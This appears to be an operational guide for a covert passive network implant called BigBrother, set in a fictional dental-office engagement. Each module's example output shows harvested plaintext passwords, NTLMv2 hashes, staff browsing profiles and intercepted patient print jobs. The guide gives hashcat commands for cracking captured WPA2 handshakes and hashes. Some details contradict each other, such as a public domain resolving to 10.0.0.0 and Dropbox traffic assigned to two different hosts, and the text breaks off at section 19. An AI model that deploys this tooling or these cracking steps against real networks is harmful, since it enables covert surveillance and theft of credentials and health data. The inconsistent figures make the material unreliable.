n0mad1k
63e317176d
Replaces RPi 4 as main implant with OPi Zero 3 — 50x55mm footprint, WiFi 5 + BT 5.0 built-in, 4GB RAM, $29. RPi Zero 2W retained as jumpbox/beacon role. Updated all hardware tier tables, memory budgets, OPSEC notes, and operational workflow.
54 KiB
BigBrother: Operational Workflow — Dental Office Scenario
Scenario: 2-week engagement, Bright Smiles Family Dentistry Network: 10.0.1.0/24, flat, no VLANs, no AD domain Infrastructure: Ubiquiti EdgeRouter (10.0.1.1), Netgear ProSAFE managed switch (no DAI, no DHCP snooping), Synology NAS "DiskStation" (10.0.1.10), 2x HP LaserJet (10.0.1.20-21), 3x Hikvision IP cameras (10.0.1.30-32), Nest thermostat, Sonos speaker, 8 Windows workstations, 3 MacBooks, WiFi WPA2-PSK "MolarMagic2023!" Critical apps: Dentrix practice management on workstation (10.0.1.102) connecting to SQL Server on 10.0.1.5, QuickBooks on 10.0.1.6 Hardware: Orange Pi Zero 3 (4GB), 128GB industrial SD card Deployment: Connected to open port on office switch (single NIC — inline bridge requires USB Ethernet adapter)
What Every Passive Module Produces
After 72 hours of passive collection on this network, here is exactly what each module yields.
1. packet_capture
What it does: Opens an AF_PACKET socket in promiscuous mode on the bridge interface. Every frame crossing between the front desk port and the switch is copied to a ring buffer, written to PCAP files, compressed with zstd, and encrypted with AES-256-GCM.
On disk after 24 hours:
storage/pcaps/
├── full_2026-03-18_00-00.pcap.zst.enc (47MB — full payload, zstd -19 compressed)
├── full_2026-03-18_01-00.pcap.zst.enc (52MB)
├── full_2026-03-18_02-00.pcap.zst.enc (8MB — overnight, minimal traffic)
├── ... (24 hourly files)
Size: This dental office generates ~15-25Mbps average traffic during business hours, near-zero overnight. That's roughly 8-12GB raw per day. With zstd -19 compression (10-15x on network PCAPs): ~600MB-1.2GB/day compressed. On a 128GB SD card, that's 100-200 days of full capture. On a 256GB card, over a year. Full payloads mean every print job, every SQL query, every file transfer, every cleartext credential is in the PCAP for offline analysis.
Protocol breakdown for this network (24h, by packet count):
HTTPS/TLS (443) 58% Opaque — Office 365, web browsing, cloud apps
DNS (53) 14% Every lookup from every device
SMB (445) 8% NAS file access from workstations
mDNS/broadcast 5% Bonjour, SSDP, ARP, DHCP, NBNS
HTTP cleartext (80) 3% Router admin, HP printer web UI, Hikvision cams
Print (9100) 2% JetDirect raw print to HP LaserJets
SQL/TDS (1433) 2% Dentrix workstation to SQL Server
QUIC (UDP/443) 2% Chrome/Edge to Google services
IoT phone-home 2% Hikvision, Nest, Sonos over HTTPS
ARP 2% Normal L2 resolution
Other 2% NTP, ICMP, LLMNR, NetBIOS
What you can do with it: Pull the compressed PCAPs to your workstation (zstd -d to decompress), open in Wireshark for full protocol analysis. Every packet payload is there — you can reconstruct files, replay sessions, extract credentials you missed, carve attachments. Full PCAP is the ground truth that backs up every other module's findings.
2. dns_logger
What it does: Filters UDP/53 and TCP/53 from the capture bus. Parses DNS query and response packets. Logs source IP, queried domain, response IP(s), query type, and timestamp to per-host SQLite tables.
Example output (20 representative entries from 31,000+ queries in 24h):
TIMESTAMP SOURCE IP QUERY TYPE RESPONSE INTEL
2026-03-18 07:52:11 10.0.1.102 dentrix.com A 104.18.22.33 Dentrix cloud portal check on boot
2026-03-18 07:52:14 10.0.1.102 econnector.dentrix.com A 104.18.23.44 eClinicalWorks connector — patient data sync
2026-03-18 07:53:01 10.0.1.5 time.windows.com A 168.61.215.74 SQL Server syncing NTP — confirms Windows host
2026-03-18 08:01:33 10.0.1.6 quickbooks.intuit.com A 10.0.0.0 QuickBooks phoning home at start of business
2026-03-18 08:01:34 10.0.1.6 payroll.intuit.com A 13.110.10.40 Payroll module — confirms financial data on this host
2026-03-18 08:15:22 10.0.1.101 chase.com A 159.53.45.5 Someone checking personal bank at 8:15 AM
2026-03-18 08:22:07 10.0.1.30 api.hik-connect.com A 47.91.74.8 Hikvision camera heartbeat (repeats every 30s)
2026-03-18 08:22:08 10.0.1.31 api.hik-connect.com A 47.91.74.8 Second camera, same pattern
2026-03-18 08:22:09 10.0.1.32 api.hik-connect.com A 47.91.74.8 Third camera, same pattern
2026-03-18 09:14:55 10.0.1.103 indeed.com A 199.232.69.105 Staff member job hunting
2026-03-18 09:30:01 10.0.1.40 frontdoor.nest.com A 142.250.80.46 Nest thermostat heartbeat (every 60s)
2026-03-18 10:11:42 10.0.1.104 dropbox.com A 162.125.6.18 Shadow IT — Dropbox not sanctioned
2026-03-18 10:12:01 10.0.1.104 dl.dropboxusercontent.com A 162.125.64.18 File sync active — data leaving the network
2026-03-18 11:30:44 10.0.1.106 webmd.com A 151.101.64.69 Lunch break browsing
2026-03-18 12:15:33 10.0.1.101 chase.com A 159.53.45.5 Same user, back to banking at lunch
2026-03-18 12:45:00 10.0.1.10 global.synologydownload.com A 104.26.8.45 NAS checking for firmware update
2026-03-18 13:02:18 10.0.1.107 facebook.com A 157.240.1.35 Personal social media on work device
2026-03-18 14:30:22 10.0.1.102 dexis.com A 52.206.11.8 Dexis dental imaging software
2026-03-18 15:00:11 10.0.1.42 sonos.com A 34.117.65.55 Sonos speaker heartbeat
2026-03-18 17:05:44 10.0.1.103 linkedin.com A 13.107.42.14 Job hunting continues at end of day
DoH blind spot: 10.0.1.105 (MacBook-Lisa) generated exactly 4 DNS queries in 24 hours (DHCP-related, mDNS). Zero standard DNS lookups. This MacBook is using DNS-over-HTTPS, likely Firefox with default DoH to Cloudflare (1.1.1.1:443). This host's browsing history is invisible to dns_logger. Two other MacBooks show partial DoH use (60-70% fewer queries than comparable Windows workstations).
IoT phone-home discovery: The three Hikvision cameras generate 2,880 queries/day each to api.hik-connect.com (every 30 seconds). This is the Hik-Connect cloud service — if these cameras have default credentials (admin/12345 is the factory default), the video feed is accessible from the internet via Hik-Connect. The Nest thermostat queries frontdoor.nest.com every 60 seconds.
Shadow IT: Dropbox on 10.0.1.104 is actively syncing files. This is a data exfiltration path the office likely doesn't know about. Indeed.com and LinkedIn from 10.0.1.103 — an employee is job hunting.
3. tls_sni_extractor
What it does: Parses TLS ClientHello messages from TCP connections. The first message in every TLS handshake contains the Server Name Indication (SNI) field in cleartext — this is the hostname the client wants to reach. The actual content is encrypted, but the destination is not.
How it works at the protocol level: When a browser connects to https://portal.dentrix.com, the TCP handshake completes, then the client sends a TLS ClientHello. Inside this message, the SNI extension (type 0x0000) contains the ASCII string "portal.dentrix.com" in plaintext. BigBrother reads this field from the raw packet without any decryption.
Example output (15 representative entries):
TIMESTAMP SOURCE IP DEST IP:PORT SNI HOSTNAME INTEL
2026-03-18 08:01:11 10.0.1.102 104.18.22.33:443 portal.dentrix.com Practice mgmt login
2026-03-18 08:01:15 10.0.1.102 52.206.11.8:443 imaging.dexis.com Dental X-ray cloud
2026-03-18 08:02:44 10.0.1.6 13.110.10.40:443 payroll.intuit.com QuickBooks payroll
2026-03-18 08:30:12 10.0.1.101 40.126.32.136:443 login.microsoftonline.com O365 auth
2026-03-18 08:30:15 10.0.1.101 52.97.130.17:443 outlook.office365.com Email access
2026-03-18 09:00:44 10.0.1.104 162.125.6.18:443 www.dropbox.com Shadow IT confirmed
2026-03-18 09:14:22 10.0.1.30 47.91.74.8:443 api.hik-connect.com Camera cloud
2026-03-18 10:30:55 10.0.1.103 13.107.42.14:443 www.linkedin.com Job hunting
2026-03-18 10:45:01 10.0.1.10 104.26.8.45:443 pkgupdate.synology.com NAS update check
2026-03-18 11:00:22 10.0.1.106 151.101.64.69:443 www.webmd.com Browsing
2026-03-18 12:15:01 10.0.1.101 159.53.45.5:443 secure.chase.com Personal banking
2026-03-18 13:00:44 10.0.1.40 142.250.80.46:443 home.nest.com IoT cloud
2026-03-18 14:00:33 10.0.1.107 157.240.1.35:443 www.facebook.com Social media
2026-03-18 15:22:11 10.0.1.102 52.206.11.8:443 cloud.dentrix.com Cloud backup sync
2026-03-18 16:45:00 10.0.1.6 13.110.10.40:443 app.qbo.intuit.com QuickBooks Online
What SNI + DNS together reveal: DNS tells you the lookup, SNI confirms the actual connection. Together they build a complete browsing profile per host. DNS might show a CDN IP that maps to multiple domains — SNI disambiguates exactly which site was visited.
What is invisible: Encrypted Client Hello (ECH) — Cloudflare and Google are rolling out ECH, which encrypts the SNI field. Hosts using Firefox with ECH enabled show SNI as "cloudflare-ech.com" or similar dummy values. On this network, roughly 5-10% of connections to major sites will have opaque SNI. DNS-over-HTTPS connections also bypass the SNI module (the HTTPS to 1.1.1.1 shows SNI of "cloudflare-dns.com" but you don't see the DNS content).
4. credential_sniffer
What it does: Applies BPF filters for known cleartext protocol ports. Parses login sequences for FTP (USER/PASS commands), HTTP Basic (Authorization header Base64 decode), HTTP form POST (password fields), SMTP AUTH, POP3/IMAP LOGIN, Telnet, SNMP (community string from GetRequest), and NTLM challenge-response from SMB/HTTP/LDAP.
What it captures on this specific network:
| # | Protocol | Source | Target | Credential | How |
|---|---|---|---|---|---|
| 1 | HTTP Basic | 10.0.1.103 | 10.0.1.1:80 | admin / Ub1qu1t1! | EdgeRouter web UI uses HTTP Basic auth. Header: Authorization: Basic YWRtaW46VWIxcXUxdDEh which Base64 decodes to admin:Ub1qu1t1!. Captured when office manager logged into router. |
| 2 | SNMP v2c | 10.0.1.1 | 10.0.1.20:161 | community: public | Router polls printer via SNMP GET. Community string "public" sent in cleartext in every SNMP packet. This is read-write on most HP LaserJets by default. |
| 3 | SNMP v2c | 10.0.1.1 | 10.0.1.21:161 | community: public | Same — second printer. |
| 4 | HTTP POST | 10.0.1.102 | 10.0.1.10:5000 | drjones / Br1ghtSm1les! | Synology DSM web interface on port 5000 uses HTTP by default (not HTTPS). Login form POST: username=drjones&passwd=Br1ghtSm1les! — captured in cleartext. |
| 5 | HTTP POST | 10.0.1.108 | 10.0.1.10:5000 | admin / NASadm1n2024! | Different user logging into NAS admin panel. Same cleartext HTTP issue. |
| 6 | NTLMv2 | 10.0.1.101 | 10.0.1.10:445 | FRONT-DESK\jsmith | Windows workstation authenticating to Synology NAS over SMB. NTLMv2 hash captured: jsmith::FRONT-DESK:1122334455667788:A4F49C406946.... This is a challenge-response hash, not a cleartext password — requires cracking with hashcat -m 5600. |
| 7 | HTTP Basic | 10.0.1.103 | 10.0.1.30:80 | admin / hik12345 | Hikvision camera web UI. Default credentials never changed. |
| 8 | TDS Login | 10.0.1.102 | 10.0.1.5:1433 | sa / D3ntrix2024! | SQL Server TDS login packet. See db_interceptor for details. |
What it does NOT capture:
- SMTP/Email: Office 365 forces STARTTLS on ports 587 and 993. The SMTP conversation begins in cleartext (
EHLO,STARTTLS), then upgrades to TLS before anyAUTHcommand. Zero email credentials captured. - HTTPS logins: Dentrix cloud portal, QuickBooks, banking — all HTTPS. Login credentials are inside the encrypted TLS tunnel. Invisible without active MITM.
- SSH: All SSH traffic is encrypted from the first byte after TCP handshake. No credentials extractable.
- WPA2 WiFi password: WiFi authentication happens at L2 before packets reach the wired bridge. The WiFi PSK is not visible to the credential sniffer. (See wireless_intel for handshake capture.)
5. kerberos_harvester
This module produces ZERO on this network.
No Active Directory domain exists. All authentication is local accounts (workgroup), NTLMv2 to the NAS, and HTTP form logins. Kerberos requires a domain controller issuing TGTs, and there is none.
What it WOULD capture on an AD network: AS-REQ packets (user requesting a TGT — contains encrypted timestamp crackable with hashcat -m 7500), AS-REP packets (if accounts lack pre-auth — hashcat -m 18200, AS-REP roasting from the wire), TGS-REP packets (service ticket hashes — hashcat -m 13100, Kerberoasting from the wire). On a 50-user AD network, expect 200-500 AS-REQ per day and 5-20 TGS-REQ to interesting SPNs (MSSQL, HTTP, etc).
6. host_discovery
What it does: Listens for ARP requests/replies (who is on the network), DHCP requests (hostname, vendor class), mDNS announcements (Bonjour services), NetBIOS name queries, and SSDP/UPnP discovery. Correlates MAC address to OUI vendor database. Never sends any packets.
Complete discovered host table after 72h:
IP MAC OUI VENDOR HOSTNAME OS GUESS FIRST SEEN DISCOVERY METHOD
10.0.1.1 44:D9:E7:3A:12:F0 Ubiquiti EdgeRouter Linux (EdgeOS) 2026-03-18 00:01:12 ARP reply (gateway)
10.0.1.5 B0:5C:DA:44:88:A1 Dell SQLSERVER-01 Windows 10/11 2026-03-18 07:51:33 DHCP request
10.0.1.6 B0:5C:DA:55:99:B2 Dell QUICKBOOKS-PC Windows 10 2026-03-18 07:55:14 DHCP request
10.0.1.10 00:11:32:AA:BB:CC Synology DiskStation Linux (DSM) 2026-03-18 00:01:15 mDNS announcement (_smb._tcp)
10.0.1.20 3C:D9:2B:11:22:33 HP HP-LaserJet-Main JetDirect 2026-03-18 00:01:18 mDNS (_printer._tcp) + SNMP response
10.0.1.21 3C:D9:2B:44:55:66 HP HP-LaserJet-Back JetDirect 2026-03-18 00:01:19 mDNS (_printer._tcp)
10.0.1.30 C0:56:E3:10:20:30 Hikvision (none) Linux (embed) 2026-03-18 00:01:44 ARP broadcast
10.0.1.31 C0:56:E3:10:20:31 Hikvision (none) Linux (embed) 2026-03-18 00:01:45 ARP broadcast
10.0.1.32 C0:56:E3:10:20:32 Hikvision (none) Linux (embed) 2026-03-18 00:01:46 ARP broadcast
10.0.1.40 18:B4:30:AA:11:22 Nest Labs (none) — (IoT) 2026-03-18 06:30:02 SSDP announcement
10.0.1.42 B8:E9:37:33:44:55 Sonos Sonos-Office Linux (embed) 2026-03-18 00:02:01 SSDP + mDNS (_sonos._tcp)
10.0.1.101 B0:5C:DA:11:AA:01 Dell FRONT-DESK Windows 11 2026-03-18 07:48:33 DHCP request (option 12)
10.0.1.102 B0:5C:DA:11:AA:02 Dell DENTRIX-WS Windows 10 2026-03-18 07:50:11 DHCP request
10.0.1.103 B0:5C:DA:11:AA:03 Dell MANAGER-PC Windows 11 2026-03-18 07:52:44 DHCP request
10.0.1.104 B0:5C:DA:11:AA:04 Dell HYGIENE-1 Windows 10 2026-03-18 07:55:02 DHCP request
10.0.1.105 3C:22:FB:88:99:AA Apple MacBook-Lisa macOS 2026-03-18 08:10:22 mDNS (_companion-link._tcp)
10.0.1.106 3C:22:FB:88:99:BB Apple MacBook-Sarah macOS 2026-03-18 08:15:11 mDNS
10.0.1.107 B0:5C:DA:11:AA:05 Dell HYGIENE-2 Windows 10 2026-03-18 08:01:33 DHCP request
10.0.1.108 B0:5C:DA:11:AA:06 Dell XRAY-WS Windows 10 2026-03-18 08:05:22 DHCP request
10.0.1.109 3C:22:FB:88:99:CC Apple MacBook-DrJones macOS 2026-03-18 09:30:44 mDNS
10.0.1.150 DA:A1:19:XX:XX:X1 Apple (random) iPhone iOS 2026-03-18 08:22:11 DHCP request (WiFi)
10.0.1.151 DA:A1:19:XX:XX:X2 Samsung (random) Galaxy-S24 Android 2026-03-18 08:35:02 DHCP request (WiFi)
10.0.1.152 DA:A1:19:XX:XX:X3 Apple (random) iPad iPadOS 2026-03-18 09:00:15 DHCP request (WiFi)
23 hosts discovered. Note: phones use randomized MACs (iOS 14+ and Android 10+ randomize by default), so OUI shows "Apple (random)" rather than the real manufacturer. DHCP hostnames still reveal device type. Phones appear and disappear as staff arrive and leave — 3-5 additional transient devices (patient phones connecting to WiFi) appear daily and are logged separately.
7. os_fingerprint
What it does: Analyzes TCP SYN and SYN-ACK packets passively. Every host's IP stack has characteristic default values for TTL (Time To Live), TCP window size, DF (Don't Fragment) bit, MSS, window scaling factor, and TCP option ordering. These form a fingerprint unique to the OS family.
Example fingerprints from this network:
IP TTL WIN SIZE DF MSS WSCALE SACK CONCLUSION CONFIDENCE
10.0.1.101 128 65535 yes 1460 8 yes Windows 10/11 HIGH (TTL 128 + win 65535 = Windows)
10.0.1.102 128 65535 yes 1460 8 yes Windows 10/11 HIGH
10.0.1.105 64 65535 yes 1460 6 yes macOS 13+ HIGH (TTL 64 + wscale 6 = macOS)
10.0.1.10 64 29200 yes 1460 7 yes Linux 4.x+ (DSM 7) HIGH (TTL 64 + win 29200 = Linux)
10.0.1.1 64 14600 yes 1460 5 yes Linux 3.x (EdgeOS) MEDIUM (older kernel)
10.0.1.30 64 5840 yes 1460 0 no Linux 2.6 (embed) MEDIUM (Hikvision embedded)
10.0.1.20 64 8192 no 1460 0 no HP JetDirect HIGH (unique HP stack)
10.0.1.40 64 5744 yes 1460 4 yes Embedded Linux LOW (generic, Nest)
How TTL works: Windows defaults to 128, Linux/macOS default to 64. Each router hop decrements TTL by 1. On this flat network (no routers between hosts), TTL arrives unmodified. If you see TTL 127 from a host, it traversed one router — indicating a device on a different segment.
Supplementary evidence: HTTP User-Agent headers (captured by protocol_analyzer) provide specific browser and OS versions. DHCP vendor class (option 60) confirms: Dell workstations send "MSFT 5.0" (Windows DHCP client), Apple devices send "dhcpcd" or nothing.
8. traffic_analyzer
What it does: Tracks every flow (5-tuple: src IP, dst IP, src port, dst port, protocol) with byte counts, packet counts, start/end times. Computes protocol distribution, top talkers, and beacon detection.
Protocol distribution (24h):
Protocol Packets Bytes Pct(bytes)
─────────────────────────────────────────────────────
TLS/HTTPS 2,140,000 1.62 GB 62.1%
DNS 580,000 41 MB 1.6%
SMB/CIFS 340,000 410 MB 15.7%
QUIC (UDP/443) 180,000 198 MB 7.6%
HTTP cleartext 95,000 72 MB 2.8%
JetDirect (9100) 12,000 48 MB 1.8%
TDS/SQL (1433) 28,000 34 MB 1.3%
mDNS/LLMNR 45,000 5.2 MB 0.2%
ARP 38,000 2.3 MB 0.1%
SSDP/UPnP 22,000 3.8 MB 0.1%
NTP 8,500 1.2 MB 0.05%
Other 41,500 175 MB 6.7%
─────────────────────────────────────────────────────
TOTAL 3,530,000 2.61 GB 100%
Top talkers (by bytes, 24h):
# HOST SENT RECV PRIMARY DEST ROLE
1 10.0.1.102 312 MB 198 MB 10.0.1.5 (SQL) Dentrix workstation — heaviest internal traffic
2 10.0.1.105 245 MB 180 MB Internet (HTTPS) MacBook — web browsing + Dropbox sync
3 10.0.1.101 189 MB 142 MB 10.0.1.10 (NAS) Front desk — heavy NAS file access
4 10.0.1.10 95 MB 410 MB all workstations NAS — serves files to everyone
5 10.0.1.5 34 MB 312 MB 10.0.1.102 SQL Server — responds to Dentrix queries
Beacon detection:
SOURCE DESTINATION INTERVAL JITTER PATTERN
10.0.1.30 47.91.74.8:443 30.0s ±0.3s Hikvision cloud heartbeat — KNOWN IOT
10.0.1.31 47.91.74.8:443 30.0s ±0.3s Hikvision cloud heartbeat — KNOWN IOT
10.0.1.32 47.91.74.8:443 30.0s ±0.3s Hikvision cloud heartbeat — KNOWN IOT
10.0.1.40 142.250.80.46:443 60.0s ±1.2s Nest thermostat heartbeat — KNOWN IOT
10.0.1.42 34.117.65.55:443 300.0s ±5.0s Sonos keepalive — KNOWN IOT
10.0.1.10 104.26.8.45:443 3600.0s ±30s Synology update check — hourly
10.0.1.102 104.18.22.33:443 1800.0s ±120s Dentrix cloud sync — ~30min cycle
No suspicious C2 beacons. All periodic traffic correlates to known IoT and application behavior. This is a clean network with no prior compromise.
9. vlan_discovery
Output: "Single VLAN detected (untagged). Zero 802.1Q tagged frames observed in 72 hours. No DTP negotiation frames. No 802.1X EAPOL frames. No CDP frames (Ubiquiti does not use CDP). One LLDP frame from Synology NAS (DSM advertises via LLDP by default). Flat L2 network confirmed — every device is in the same broadcast domain. No segmentation between workstations, IoT cameras, printers, NAS, and SQL server."
This is a critical finding: IoT cameras on the same VLAN as the patient database.
10. network_mapper
What it does: Builds a directed graph of all observed communication pairs. Each edge has protocol, total bytes, and connection count. Exported as Graphviz DOT file and ASCII summary.
Key relationships discovered:
RELATIONSHIP PROTOCOL VOLUME/DAY NOTES
10.0.1.102 → 10.0.1.5 TDS/1433 312 MB Dentrix WS to SQL — heaviest flow
10.0.1.101,103,104,107,108 → 10.0.1.10 SMB/445 410 MB total 5 workstations to NAS (file shares)
10.0.1.101,102,103,104,106,107 → 10.0.1.20 RAW/9100 38 MB 6 hosts print to main printer
10.0.1.103,108 → 10.0.1.21 RAW/9100 10 MB 2 hosts print to back printer
ALL hosts → 10.0.1.1 DNS/53 41 MB Gateway is DNS forwarder
ALL hosts → 10.0.1.1 HTTPS 1.4 GB Gateway is internet gateway
10.0.1.30,31,32 → 47.91.74.8 HTTPS/443 8.2 MB All cameras to Hikvision cloud
10.0.1.103 → 10.0.1.30,31,32 HTTP/80 2.1 MB Manager checks camera feeds
10.0.1.103 → 10.0.1.1 HTTP/80 1.4 MB Manager accesses router admin
10.0.1.102 → 10.0.1.10 HTTP/5000 0.5 MB Dentrix WS to NAS admin (DSM)
10.0.1.6 → 13.110.10.40 HTTPS/443 22 MB QuickBooks to Intuit cloud
What this reveals: 10.0.1.103 (MANAGER-PC) is the admin workstation — it's the only host that accesses the router, cameras, and NAS admin panel. 10.0.1.102 is the critical Dentrix workstation — it has the most privileged access (SQL database + NAS admin). The NAS is the central file server accessed by 5+ workstations. The SQL Server (10.0.1.5) only talks to one workstation (10.0.1.102) — single point of failure, single attack path.
11. auth_flow_tracker
What it captures on this network: No Kerberos (no AD). NTLM authentication is visible in SMB sessions to the NAS. HTTP form authentication to the NAS and cameras is visible.
TIMESTAMP USER SOURCE TARGET PROTOCOL AUTH TYPE
2026-03-18 07:48:55 jsmith 10.0.1.101 10.0.1.10:445 SMB NTLMv2
2026-03-18 07:50:22 drjones 10.0.1.102 10.0.1.10:5000 HTTP Form POST
2026-03-18 07:52:01 admin 10.0.1.103 10.0.1.1:80 HTTP Basic
2026-03-18 07:55:11 mgarcia 10.0.1.104 10.0.1.10:445 SMB NTLMv2
2026-03-18 08:01:33 sa 10.0.1.102 10.0.1.5:1433 TDS SQL Login
2026-03-18 08:05:44 accounting 10.0.1.108 10.0.1.10:445 SMB NTLMv2
Pattern: Users authenticate once to the NAS at start of day, maintain session. SQL Server sa account (sysadmin!) authenticates from Dentrix workstation at application startup. No SSH authentication observed — nobody SSHes into anything. No RDP authentication observed.
12. smb_monitor
What it does: Parses SMB2/3 protocol messages — Tree Connect requests (share access), Create requests (file open), Read/Write requests. The SMB negotiate and session setup are visible; whether file content is visible depends on whether SMB encryption is negotiated.
Shares discovered from SMB Tree Connect requests:
\\DiskStation\PatientRecords — accessed by: FRONT-DESK, DENTRIX-WS, MANAGER-PC, HYGIENE-1, HYGIENE-2
\\DiskStation\Accounting — accessed by: QUICKBOOKS-PC, MANAGER-PC
\\DiskStation\Shared — accessed by: all workstations
\\DiskStation\XRays — accessed by: DENTRIX-WS, XRAY-WS
\\DiskStation\Backups — accessed by: SQLSERVER-01 (nightly at 02:00)
Access patterns (72h sample):
FRONT-DESK (10.0.1.101): 47 files in PatientRecords/2026/March/ over 8 hours/day
MANAGER-PC (10.0.1.103): 12 files in Accounting/payroll/ on Monday (payroll day)
DENTRIX-WS (10.0.1.102): 8 files in XRays/ (DICOM images uploaded after each patient)
SQLSERVER-01 (10.0.1.5): Bulk write to Backups/ at 02:00-02:45 nightly (SQL backup job)
SMB3 encryption note: Synology DSM 7 supports SMB3 but does not enforce encryption by default. On this network, SMB negotiate shows encryption capability but the server allows unencrypted sessions. File names and access patterns are fully visible. Actual file content is readable in the PCAP (though print_interceptor and file_extractor are better tools for that).
13. voip_capture
Output: "Zero SIP INVITE/BYE/REGISTER messages detected. Zero RTP streams. No VoIP PBX on this network."
The office uses cell phones for calls and Zoom for video (encrypted WebRTC over HTTPS — visible only as SNI "zoom.us" in the TLS extractor). No on-premises VoIP infrastructure.
14. print_interceptor
How JetDirect (TCP/9100) works: When a user prints, the workstation opens a TCP connection to the printer on port 9100 and sends the print job as a raw byte stream. There is no authentication, no encryption, no handshake protocol — just a TCP socket carrying PCL (Printer Command Language) or PostScript data. The printer interprets the data stream and prints it.
BigBrother's print_interceptor reassembles the TCP stream and captures the complete print job data. For PostScript jobs, the text content is extractable directly (PostScript is a plaintext programming language — the text to be printed is embedded as string literals). For PCL jobs, rendered text is extractable from font/character commands. Ghostscript can convert both formats to PDF for human-readable output.
What gets captured (72h sample — 23 print jobs):
JOB# TIMESTAMP SOURCE PRINTER SIZE FORMAT CONTENT SUMMARY
1 2026-03-18 08:30:11 10.0.1.101 10.0.1.20 142KB PCL Patient intake form — John Doe, DOB 03/15/1985,
SSN ***-**-4521, Ins: Delta Dental #A1234567
2 2026-03-18 08:45:22 10.0.1.101 10.0.1.20 89KB PCL Insurance claim form — procedure D2740 (crown),
patient Mary Smith, claim amount $1,240.00
3 2026-03-18 09:15:33 10.0.1.103 10.0.1.20 203KB PS QuickBooks invoice — vendor: Patterson Dental,
amount $4,521.88, check #8843
4 2026-03-18 10:00:44 10.0.1.102 10.0.1.20 312KB PCL Treatment plan — patient Robert Chen,
procedures: D0120, D1110, D2750, total $3,200
5 2026-03-18 10:30:55 10.0.1.108 10.0.1.20 178KB PCL X-ray report header page — patient Angela Torres
6 2026-03-18 11:00:11 10.0.1.101 10.0.1.20 95KB PCL Appointment schedule — 14 patients with names,
phone numbers, procedure codes
7 2026-03-18 13:30:22 10.0.1.103 10.0.1.21 156KB PS Payroll summary — 9 employees, gross pay,
deductions, net pay, SSN last-4 digits
8 2026-03-18 14:15:33 10.0.1.101 10.0.1.20 67KB PCL Prescription — patient name, DOB, medication,
prescriber Dr. Jones DDS
... (15 more jobs over 3 days, similar content)
Expected volume: 5-12 print jobs per printer per day in a dental office. 60-80% contain PHI (patient names, DOBs, insurance info, treatment details). This is a HIPAA nightmare — all this data crosses the network in cleartext.
Conversion: ghostscript -dNOPAUSE -sDEVICE=pdfwrite -sOutputFile=job1.pdf -dBATCH captured_job1.pcl produces a readable PDF. BigBrother does this automatically when Ghostscript is available.
Why this works everywhere: JetDirect/AppSocket (port 9100) has been the standard network printing protocol for 20+ years. IPP with TLS exists but almost no one uses it. HP, Brother, Canon, Epson — all default to port 9100 unencrypted. This module produces on nearly every network that has a network printer.
15. wireless_intel
Requires: USB WiFi adapter in monitor mode (separate from the wired bridge interfaces).
Probe requests captured (devices searching for known networks):
MAC (randomized) PROBED SSID INTEL
DA:A1:19:XX:01 "MolarMagic" Staff phone looking for office WiFi (slightly wrong SSID)
DA:A1:19:XX:02 "HomeWiFi-Sarah" Personal home network name — identifies employee
DA:A1:19:XX:03 "Hilton_Guest" Someone recently stayed at a Hilton
DA:A1:19:XX:04 "xfinitywifi" Xfinity home internet user
DA:A1:19:XX:05 "DentalOffice" Correct office SSID — device seeking to reconnect
DA:A1:19:XX:06 "ATT-XXXX" AT&T home network
3C:22:FB:88:99:AA (broadcast probe) MacBook-Lisa — no directed probes (macOS suppresses)
WPA handshake capture: When any device connects (or reconnects) to the "DentalOffice" WiFi, the WPA2 4-way handshake occurs. BigBrother captures all four EAPOL frames passively. After capturing a complete handshake:
[+] WPA2 handshake captured for SSID "DentalOffice"
BSSID: AA:BB:CC:DD:EE:FF
Client: DA:A1:19:XX:05
File: storage/wireless/handshake_DentalOffice_20260318.hc22000
Hashcat mode: 22000
Transfer to your cracking rig: hashcat -m 22000 handshake.hc22000 rockyou.txt -r OneRuleToRuleThemAll.rule. "MolarMagic2023!" is in the top 10 million guesses with a basic rule set — expect crack time under 5 minutes on a modern GPU. Now you have the WiFi password without ever touching the AP.
16. protocol_analyzer
What it does: Goes beyond port numbers — inspects payload for protocol fingerprinting, banner extraction, and certificate analysis.
Service identification:
IP:PORT SERVICE VERSION/BANNER
10.0.1.5:1433 Microsoft SQL Server TDS 7.4 — SQL Server 2019 (15.0.2000)
10.0.1.10:5000 Synology DSM HTTP Server: nginx (DSM 7.2)
10.0.1.10:445 Samba/SMB SMB 3.1.1 dialect, Synology NAS
10.0.1.1:80 Ubiquiti EdgeOS lighttpd/1.4 (EdgeRouter)
10.0.1.1:443 Ubiquiti EdgeOS Self-signed cert, CN=ubnt, expired 2024-11-15
10.0.1.20:80 HP LaserJet HP Embedded Web Server
10.0.1.20:9100 HP JetDirect RAW print (no banner, identified by port behavior)
10.0.1.30:80 Hikvision DNVRS-Webs (Hikvision web server)
10.0.1.30:554 Hikvision RTSP RTSP/1.0 (video streaming)
Certificate analysis:
IP:PORT CN ISSUER EXPIRES ISSUE
10.0.1.1:443 ubnt Self-signed 2024-11-15 EXPIRED — browser warnings suppressed
10.0.1.10:5001 DiskStation Synology CA 2027-01-15 Self-signed but valid dates
10.0.1.30:443 (empty CN) Hikvision 2034-12-31 Hikvision default cert
OT protocol detection: Zero. No Modbus (502), DNP3, OPC UA, BACnet, or S7comm traffic. No industrial control systems on this network. (The Nest thermostat uses HTTPS to Google's cloud, not a local OT protocol.)
17. cloud_token_harvester (passive mode)
Output: "Monitored 72 hours of traffic for cleartext AWS keys (AKIA*), Azure Bearer tokens, GCP OAuth tokens, JWT tokens, and SAML assertions in HTTP traffic. Result: zero tokens captured."
All cloud traffic (Office 365, QuickBooks, Dentrix cloud, Dropbox) uses HTTPS. Cloud tokens exist inside those TLS tunnels but are invisible without active MITM. The only HTTP traffic is to the router, NAS, printers, and cameras — none of which use cloud tokens.
When this module produces: On networks where developers use HTTP APIs with hardcoded AWS keys, or where internal tools pass JWT tokens over unencrypted HTTP. Not applicable to this dental office.
18. email_sniffer
Primary result: "Office 365 enforces STARTTLS. Zero cleartext email content captured from user email."
However: The HP LaserJet MFP (10.0.1.20) has a scan-to-email feature configured. When staff scan documents, the printer sends them via SMTP to an internal relay. The printer's SMTP client does NOT support STARTTLS:
CAPTURED: SMTP session from 10.0.1.20 → 10.0.1.1:25 (router forwarding to ISP relay)
MAIL FROM: scanner@brightsmilesdental.com
RCPT TO: frontdesk@brightsmilesdental.com
Subject: Scan from HP LaserJet [03/18/2026 14:22]
Attachment: scan_20260318_142200.pdf (348KB) — insurance card photocopy
CAPTURED: 2 more scan-to-email jobs over 72h
- Patient consent form scan (2 pages)
- Referral letter scan (1 page)
These scanned documents contain PHI and are sent across the network completely unencrypted. Three captures in 72 hours — expect 1-2 per day.
19. ldap_harvester
